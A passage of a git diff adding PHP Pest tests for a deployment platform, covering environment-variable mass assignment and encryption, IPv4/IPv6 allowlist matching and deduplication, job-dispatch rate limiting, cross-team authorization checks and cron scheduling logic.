+ expect($env->value)->toBe('test_value');
+ expect($env->comment)->toBe('Test comment');
+ expect($env->is_literal)->toBeTrue();
+ expect($env->is_multiline)->toBeTrue();
+ expect($env->is_preview)->toBeFalse();
+ expect($env->is_runtime)->toBeTrue();
+ expect($env->is_buildtime)->toBeFalse();
+ expect($env->is_shown_once)->toBeFalse();
+ expect($env->resourceable_type)->toBe(Application::class);
+ expect($env->resourceable_id)->toBe($this->application->id);
+});
+
+test('comment field can be mass assigned with null', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => null,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBeNull();
+});
+
+test('comment field can be mass assigned with empty string', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => '',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe('');
+});
+
+test('comment field can be mass assigned with long text', function () {
+ $comment = str_repeat('This is a long comment. ', 10);
+
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => $comment,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe($comment);
+ expect(strlen($env->comment))->toBe(strlen($comment));
+});
+
+test('all boolean fields default correctly when not provided', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Boolean fields can be null or false depending on database defaults
+ expect($env->is_multiline)->toBeIn([false, null]);
+ expect($env->is_preview)->toBeIn([false, null]);
+ expect($env->is_runtime)->toBeIn([false, null]);
+ expect($env->is_buildtime)->toBeIn([false, null]);
+ expect($env->is_shown_once)->toBeIn([false, null]);
+});
+
+test('value field is properly encrypted when mass assigned', function () {
+ $plainValue = 'secret_value_123';
+
+ $env = EnvironmentVariable::create([
+ 'key' => 'SECRET_KEY',
+ 'value' => $plainValue,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Value should be decrypted when accessed via model
+ expect($env->value)->toBe($plainValue);
+
+ // Verify it's actually encrypted in the database
+ $rawValue = \DB::table('environment_variables')
+ ->where('id', $env->id)
+ ->value('value');
+
+ expect($rawValue)->not->toBe($plainValue);
+ expect($rawValue)->not->toBeNull();
+});
+
+test('key field is trimmed and spaces replaced with underscores', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => ' TEST KEY WITH SPACES ',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->key)->toBe('TEST_KEY_WITH_SPACES');
+});
+
+test('version field can be mass assigned', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'version' => '1.2.3',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // The booted() method sets version automatically, so it will be the current version
+ expect($env->version)->not->toBeNull();
+});
+
+test('mass assignment works with update method', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'initial_value',
+ 'comment' => 'Initial comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env->update([
+ 'value' => 'updated_value',
+ 'comment' => 'Updated comment',
+ 'is_literal' => true,
+ ]);
+
+ $env->refresh();
+
+ expect($env->value)->toBe('updated_value');
+ expect($env->comment)->toBe('Updated comment');
+ expect($env->is_literal)->toBeTrue();
+});
+
+test('protected attributes cannot be mass assigned', function () {
+ $customDate = '2020-01-01 00:00:00';
+
+ $env = EnvironmentVariable::create([
+ 'id' => 999999,
+ 'uuid' => 'custom-uuid',
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ 'created_at' => $customDate,
+ 'updated_at' => $customDate,
+ ]);
+
+ // id should be auto-generated, not 999999
+ expect($env->id)->not->toBe(999999);
+
+ // uuid should be auto-generated, not 'custom-uuid'
+ expect($env->uuid)->not->toBe('custom-uuid');
+
+ // Timestamps should be current, not 2020
+ expect($env->created_at->year)->toBe(now()->year);
+});
+
+test('order field can be mass assigned', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'order' => 5,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->order)->toBe(5);
+});
+
+test('is_shared field can be mass assigned', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'is_shared' => true,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Note: is_shared is also computed via accessor, but can be mass assigned
+ expect($env->is_shared)->not->toBeNull();
+});
diff --git a/tests/Feature/IpAllowlistTest.php b/tests/Feature/IpAllowlistTest.php
index 959dc757d..1b14b79e8 100644
--- a/tests/Feature/IpAllowlistTest.php
+++ b/tests/Feature/IpAllowlistTest.php
@@ -86,7 +86,7 @@
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/-1']))->toBeFalse(); // Invalid mask
});
-test('IP allowlist with various subnet sizes', function () {
+test('IP allowlist with various IPv4 subnet sizes', function () {
// /32 - single host
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.1/32']))->toBeTrue();
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.1/32']))->toBeFalse();
@@ -96,16 +96,98 @@
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/31']))->toBeTrue();
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.0/31']))->toBeFalse();
- // /16 - class B
+ // /25 - half a /24
+ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/25']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('192.168.1.127', ['192.168.1.0/25']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('192.168.1.128', ['192.168.1.0/25']))->toBeFalse();
+
+ // /16
expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/16']))->toBeTrue();
expect(checkIPAgainstAllowlist('172.16.255.255', ['172.16.0.0/16']))->toBeTrue();
expect(checkIPAgainstAllowlist('172.17.0.1', ['172.16.0.0/16']))->toBeFalse();
+ // /12
+ expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/12']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('172.31.255.255', ['172.16.0.0/12']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('172.32.0.1', ['172.16.0.0/12']))->toBeFalse();
+
+ // /8
+ expect(checkIPAgainstAllowlist('10.255.255.255', ['10.0.0.0/8']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('11.0.0.1', ['10.0.0.0/8']))->toBeFalse();
+
// /0 - all addresses
expect(checkIPAgainstAllowlist('1.1.1.1', ['0.0.0.0/0']))->toBeTrue();
expect(checkIPAgainstAllowlist('255.255.255.255', ['0.0.0.0/0']))->toBeTrue();
});
+test('IP allowlist with various IPv6 subnet sizes', function () {
+ // /128 - single host
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
+
+ // /127 - point-to-point link
+ expect(checkIPAgainstAllowlist('2001:db8::0', ['2001:db8::/127']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/127']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::/127']))->toBeFalse();
+
+ // /64 - standard subnet
+ expect(checkIPAgainstAllowlist('2001:db8:abcd:1234::1', ['2001:db8:abcd:1234::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:abcd:1234:ffff:ffff:ffff:ffff', ['2001:db8:abcd:1234::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:abcd:1235::1', ['2001:db8:abcd:1234::/64']))->toBeFalse();
+
+ // /48 - site prefix
+ expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:1234:ffff::1', ['2001:db8:1234::/48']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
+
+ // /32 - ISP allocation
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/32']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:ffff:ffff::1', ['2001:db8::/32']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db9::1', ['2001:db8::/32']))->toBeFalse();
+
+ // /16
+ expect(checkIPAgainstAllowlist('2001:0000::1', ['2001::/16']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:ffff:ffff::1', ['2001::/16']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2002::1', ['2001::/16']))->toBeFalse();
+});
+
+test('IP allowlist with bare IPv6 addresses', function () {
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1']))->toBeFalse();
+ expect(checkIPAgainstAllowlist('::1', ['::1']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('::1', ['::2']))->toBeFalse();
+});
+
+test('IP allowlist with IPv6 CIDR notation', function () {
+ // /64 prefix — issue #8729 exact case
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::1', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230:abcd:ef01:2345:6789', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', ['2a01:e0a:21d:8230::/64']))->toBeFalse();
+
+ // /128 — single host
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
+
+ // /48 prefix
+ expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
+});
+
+test('IP allowlist with mixed IPv4 and IPv6', function () {
+ $allowlist = ['192.168.1.100', '10.0.0.0/8', '2a01:e0a:21d:8230::/64'];
+
+ expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue();
+ expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::cafe', $allowlist))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', $allowlist))->toBeFalse();
+ expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse();
+});
+
+test('IP allowlist handles invalid IPv6 masks', function () {
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/129']))->toBeFalse(); // mask > 128
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/-1']))->toBeFalse(); // negative mask
+});
+
test('IP allowlist comma-separated string input', function () {
// Test with comma-separated string (as it would come from the settings)
$allowlistString = '192.168.1.100,10.0.0.0/8,172.16.0.0/16';
@@ -134,14 +216,21 @@
// Valid cases - should pass
expect($validate(''))->toBeTrue(); // Empty is allowed
expect($validate('0.0.0.0'))->toBeTrue(); // 0.0.0.0 is allowed
- expect($validate('192.168.1.1'))->toBeTrue(); // Valid IP
- expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid CIDR
- expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid CIDR
+ expect($validate('192.168.1.1'))->toBeTrue(); // Valid IPv4
+ expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid IPv4 CIDR
+ expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid IPv4 CIDR
expect($validate('192.168.1.1,10.0.0.1'))->toBeTrue(); // Multiple valid IPs
expect($validate('192.168.1.0/24,10.0.0.0/8'))->toBeTrue(); // Multiple CIDRs
expect($validate('0.0.0.0/0'))->toBeTrue(); // 0.0.0.0 with subnet
expect($validate('0.0.0.0/24'))->toBeTrue(); // 0.0.0.0 with any subnet
expect($validate(' 192.168.1.1 '))->toBeTrue(); // With spaces
+ // IPv6 valid cases — issue #8729
+ expect($validate('2001:db8::1'))->toBeTrue(); // Valid bare IPv6
+ expect($validate('::1'))->toBeTrue(); // Loopback IPv6
+ expect($validate('2a01:e0a:21d:8230::/64'))->toBeTrue(); // IPv6 /64 CIDR
+ expect($validate('2001:db8::/48'))->toBeTrue(); // IPv6 /48 CIDR
+ expect($validate('2001:db8::1/128'))->toBeTrue(); // IPv6 /128 CIDR
+ expect($validate('192.168.1.1,2a01:e0a:21d:8230::/64'))->toBeTrue(); // Mixed IPv4 + IPv6 CIDR
// Invalid cases - should fail
expect($validate('1'))->toBeFalse(); // Single digit
@@ -155,6 +244,7 @@
expect($validate('not.an.ip.address'))->toBeFalse(); // Invalid format
expect($validate('192.168'))->toBeFalse(); // Incomplete IP
expect($validate('192.168.1.1.1'))->toBeFalse(); // Too many octets
+ expect($validate('2001:db8::/129'))->toBeFalse(); // IPv6 mask > 128
});
test('ValidIpOrCidr validation rule error messages', function () {
@@ -181,3 +271,111 @@
expect($error)->toContain('10.0.0.256');
expect($error)->not->toContain('192.168.1.1'); // Valid IP should not be in error
});
+
+test('deduplicateAllowlist removes bare IPv4 covered by various subnets', function () {
+ // /24
+ expect(deduplicateAllowlist(['192.168.1.5', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // /16
+ expect(deduplicateAllowlist(['172.16.5.10', '172.16.0.0/16']))->toBe(['172.16.0.0/16']);
+ // /8
+ expect(deduplicateAllowlist(['10.50.100.200', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // /32 — same host, first entry wins (both equivalent)
+ expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1/32']))->toBe(['192.168.1.1']);
+ // /31 — point-to-point
+ expect(deduplicateAllowlist(['192.168.1.0', '192.168.1.0/31']))->toBe(['192.168.1.0/31']);
+ // IP outside subnet — both preserved
+ expect(deduplicateAllowlist(['172.17.0.1', '172.16.0.0/16']))->toBe(['172.17.0.1', '172.16.0.0/16']);
+});
+
+test('deduplicateAllowlist removes narrow IPv4 CIDR covered by broader CIDR', function () {
+ // /32 inside /24
+ expect(deduplicateAllowlist(['192.168.1.1/32', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // /25 inside /24
+ expect(deduplicateAllowlist(['192.168.1.0/25', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // /24 inside /16
+ expect(deduplicateAllowlist(['192.168.1.0/24', '192.168.0.0/16']))->toBe(['192.168.0.0/16']);
+ // /16 inside /12
+ expect(deduplicateAllowlist(['172.16.0.0/16', '172.16.0.0/12']))->toBe(['172.16.0.0/12']);
+ // /16 inside /8
+ expect(deduplicateAllowlist(['10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // /24 inside /8
+ expect(deduplicateAllowlist(['10.1.2.0/24', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // /12 inside /8
+ expect(deduplicateAllowlist(['172.16.0.0/12', '172.0.0.0/8']))->toBe(['172.0.0.0/8']);
+ // /31 inside /24
+ expect(deduplicateAllowlist(['192.168.1.0/31', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // Non-overlapping CIDRs — both preserved
+ expect(deduplicateAllowlist(['192.168.1.0/24', '10.0.0.0/8']))->toBe(['192.168.1.0/24', '10.0.0.0/8']);
+ expect(deduplicateAllowlist(['172.16.0.0/16', '192.168.0.0/16']))->toBe(['172.16.0.0/16', '192.168.0.0/16']);
+});
+
+test('deduplicateAllowlist removes bare IPv6 covered by various prefixes', function () {
+ // /64 — issue #8729 exact scenario
+ expect(deduplicateAllowlist(['2a01:e0a:21d:8230::', '127.0.0.1', '2a01:e0a:21d:8230::/64']))
+ ->toBe(['127.0.0.1', '2a01:e0a:21d:8230::/64']);
+ // /48
+ expect(deduplicateAllowlist(['2001:db8:1234::1', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
+ // /128 — same host, first entry wins (both equivalent)
+ expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1/128']))->toBe(['2001:db8::1']);
+ // IP outside prefix — both preserved
+ expect(deduplicateAllowlist(['2001:db8:1235::1', '2001:db8:1234::/48']))
+ ->toBe(['2001:db8:1235::1', '2001:db8:1234::/48']);
+});
+
+test('deduplicateAllowlist removes narrow IPv6 CIDR covered by broader prefix', function () {
+ // /128 inside /64
+ expect(deduplicateAllowlist(['2a01:e0a:21d:8230::5/128', '2a01:e0a:21d:8230::/64']))->toBe(['2a01:e0a:21d:8230::/64']);
+ // /127 inside /64
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/127', '2001:db8:1234:5678::/64']))->toBe(['2001:db8:1234:5678::/64']);
+ // /64 inside /48
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
+ // /48 inside /32
+ expect(deduplicateAllowlist(['2001:db8:abcd::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
+ // /32 inside /16
+ expect(deduplicateAllowlist(['2001:db8::/32', '2001::/16']))->toBe(['2001::/16']);
+ // /64 inside /32
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8::/32']))->toBe(['2001:db8::/32']);
+ // Non-overlapping IPv6 — both preserved
+ expect(deduplicateAllowlist(['2001:db8::/32', 'fd00::/8']))->toBe(['2001:db8::/32', 'fd00::/8']);
+ expect(deduplicateAllowlist(['2001:db8:1234::/48', '2001:db8:5678::/48']))->toBe(['2001:db8:1234::/48', '2001:db8:5678::/48']);
+});
+
+test('deduplicateAllowlist mixed IPv4 and IPv6 subnets', function () {
+ $result = deduplicateAllowlist([
+ '192.168.1.5', // covered by 192.168.0.0/16
+ '192.168.0.0/16',
+ '2a01:e0a:21d:8230::1', // covered by ::/64
+ '2a01:e0a:21d:8230::/64',
+ '10.0.0.1', // not covered by anything
+ '::1', // not covered by anything
+ ]);
+ expect($result)->toBe(['192.168.0.0/16', '2a01:e0a:21d:8230::/64', '10.0.0.1', '::1']);
+});
+
+test('deduplicateAllowlist preserves non-overlapping entries', function () {
+ $result = deduplicateAllowlist(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
+ expect($result)->toBe(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
+});
+
+test('deduplicateAllowlist handles exact duplicates', function () {
+ expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1']))->toBe(['192.168.1.1']);
+ expect(deduplicateAllowlist(['10.0.0.0/8', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1']))->toBe(['2001:db8::1']);
+});
+
+test('deduplicateAllowlist handles single entry and empty array', function () {
+ expect(deduplicateAllowlist(['10.0.0.1']))->toBe(['10.0.0.1']);
+ expect(deduplicateAllowlist([]))->toBe([]);
+});
+
+test('deduplicateAllowlist with 0.0.0.0 removes everything else', function () {
+ $result = deduplicateAllowlist(['192.168.1.1', '0.0.0.0', '10.0.0.0/8']);
+ expect($result)->toBe(['0.0.0.0']);
+});
+
+test('deduplicateAllowlist multiple nested CIDRs keeps only broadest', function () {
+ // IPv4: three levels of nesting
+ expect(deduplicateAllowlist(['10.1.2.0/24', '10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // IPv6: three levels of nesting
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
+});
diff --git a/tests/Feature/PushServerUpdateJobOptimizationTest.php b/tests/Feature/PushServerUpdateJobOptimizationTest.php
new file mode 100644
index 000000000..eb51059db
--- /dev/null
+++ b/tests/Feature/PushServerUpdateJobOptimizationTest.php
@@ -0,0 +1,150 @@
+create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ $data = [
+ 'containers' => [],
+ 'filesystem_usage_root' => ['used_percentage' => 45],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
+ return $job->server->id === $server->id && $job->percentage === 45;
+ });
+});
+
+it('does not dispatch storage check when disk percentage is unchanged', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Simulate a previous push that cached the percentage
+ Cache::put('storage-check:'.$server->id, 45, 600);
+
+ $data = [
+ 'containers' => [],
+ 'filesystem_usage_root' => ['used_percentage' => 45],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertNotPushed(ServerStorageCheckJob::class);
+});
+
+it('dispatches storage check when disk percentage changes from cached value', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Simulate a previous push that cached 45%
+ Cache::put('storage-check:'.$server->id, 45, 600);
+
+ $data = [
+ 'containers' => [],
+ 'filesystem_usage_root' => ['used_percentage' => 50],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
+ return $job->server->id === $server->id && $job->percentage === 50;
+ });
+});
+
+it('rate-limits ConnectProxyToNetworksJob dispatch to every 10 minutes', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ $server->settings->update(['is_reachable' => true, 'is_usable' => true]);
+
+ // First push: should dispatch ConnectProxyToNetworksJob
+ $containersWithProxy = [
+ [
+ 'name' => 'coolify-proxy',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => ['coolify.managed' => true],
+ ],
+ ];
+
+ $data = [
+ 'containers' => $containersWithProxy,
+ 'filesystem_usage_root' => ['used_percentage' => 10],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
+
+ // Second push: should NOT dispatch ConnectProxyToNetworksJob (rate-limited)
+ Queue::fake();
+ $job2 = new PushServerUpdateJob($server, $data);
+ $job2->handle();
+
+ Queue::assertNotPushed(ConnectProxyToNetworksJob::class);
+});
+
+it('dispatches ConnectProxyToNetworksJob again after cache expires', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ $server->settings->update(['is_reachable' => true, 'is_usable' => true]);
+
+ $containersWithProxy = [
+ [
+ 'name' => 'coolify-proxy',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => ['coolify.managed' => true],
+ ],
+ ];
+
+ $data = [
+ 'containers' => $containersWithProxy,
+ 'filesystem_usage_root' => ['used_percentage' => 10],
+ ];
+
+ // First push
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
+
+ // Clear cache to simulate expiration
+ Cache::forget('connect-proxy:'.$server->id);
+
+ // Next push: should dispatch again
+ Queue::fake();
+ $job2 = new PushServerUpdateJob($server, $data);
+ $job2->handle();
+
+ Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
+});
+
+it('uses default queue for PushServerUpdateJob', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ $job = new PushServerUpdateJob($server, ['containers' => []]);
+
+ expect($job->queue)->toBeNull();
+});
diff --git a/tests/Feature/ResourceOperationsCrossTenantTest.php b/tests/Feature/ResourceOperationsCrossTenantTest.php
new file mode 100644
index 000000000..056c7757c
--- /dev/null
+++ b/tests/Feature/ResourceOperationsCrossTenantTest.php
@@ -0,0 +1,85 @@
+userA = User::factory()->create();
+ $this->teamA = Team::factory()->create();
+ $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+ $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+ $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+ $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+ $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+ $this->applicationA = Application::factory()->create([
+ 'environment_id' => $this->environmentA->id,
+ 'destination_id' => $this->destinationA->id,
+ 'destination_type' => $this->destinationA->getMorphClass(),
+ ]);
+
+ // Team B (victim's team)
+ $this->teamB = Team::factory()->create();
+ $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+ $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
+ $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+ $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+ $this->actingAs($this->userA);
+ session(['currentTeam' => $this->teamA]);
+});
+
+test('cloneTo rejects destination belonging to another team', function () {
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('cloneTo', $this->destinationB->id)
+ ->assertHasErrors('destination_id');
+
+ // Ensure no cross-tenant application was created
+ expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
+});
+
+test('cloneTo allows destination belonging to own team', function () {
+ $secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('cloneTo', $secondDestination->id)
+ ->assertHasNoErrors('destination_id')
+ ->assertRedirect();
+});
+
+test('moveTo rejects environment belonging to another team', function () {
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('moveTo', $this->environmentB->id);
+
+ // Resource should still be in original environment
+ $this->applicationA->refresh();
+ expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
+});
+
+test('moveTo allows environment belonging to own team', function () {
+ $secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('moveTo', $secondEnvironment->id)
+ ->assertRedirect();
+
+ $this->applicationA->refresh();
+ expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
+});
+
+test('StandaloneDockerPolicy denies update for cross-team user', function () {
+ expect($this->userA->can('update', $this->destinationB))->toBeFalse();
+});
+
+test('StandaloneDockerPolicy allows update for same-team user', function () {
+ expect($this->userA->can('update', $this->destinationA))->toBeTrue();
+});
diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
new file mode 100644
index 000000000..f820c3777
--- /dev/null
+++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
@@ -0,0 +1,222 @@
+getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+
+ expect($result)->toBeTrue();
+});
+
+it('catches delayed job when cache has a baseline from previous run', function () {
+ // Simulate a previous dispatch yesterday at 02:00
+ Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ // Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
+ // lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+
+ expect($result)->toBeTrue();
+});
+
+it('does not double-dispatch on subsequent runs within same cron window', function () {
+ // First run at 02:00 — dispatches and sets cache
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ $first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ expect($first)->toBeTrue();
+
+ // Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ expect($second)->toBeFalse();
+});
+
+it('fires every_minute cron correctly on consecutive minutes', function () {
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
